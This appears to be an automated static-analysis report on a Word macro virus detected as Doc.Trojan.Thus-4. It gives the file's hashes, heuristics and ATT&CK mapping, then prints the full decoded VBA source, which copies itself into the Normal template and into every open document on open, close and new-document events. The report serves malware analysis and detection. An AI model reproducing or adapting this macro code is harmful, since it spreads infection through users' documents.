Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 35a7f0d860034427…

MALICIOUS

Office (OLE)

44.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 40ec1449e06eaaef31da911f409f3ed0 SHA-1: 339732d2242b0180886810e886be1d8fa741ad7d SHA-256: 35a7f0d8600344271f878b358235c8160bda3c92cc641fa7bff9cb88df212e52
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a VBA macro that is triggered by the Document_Open event. This macro copies its own code into the Normal template, which is a common technique for establishing persistence or ensuring the macro runs on subsequent document openings. The ClamAV detection 'Doc.Trojan.Thus-4' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1855 bytes
SHA-256: 7f790b143c3855bfba221569de03851212b51753c67d7397a454fc85d5501bfd
Detection
ClamAV: Doc.Trojan.Thus-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    'On Error Resume Next
    'Application.Options.VirusProtection = False
    'Set prevDocument = ActiveDocument
    'Set nextDocument = NormalTemplate
    '.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    'End If
    
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
   
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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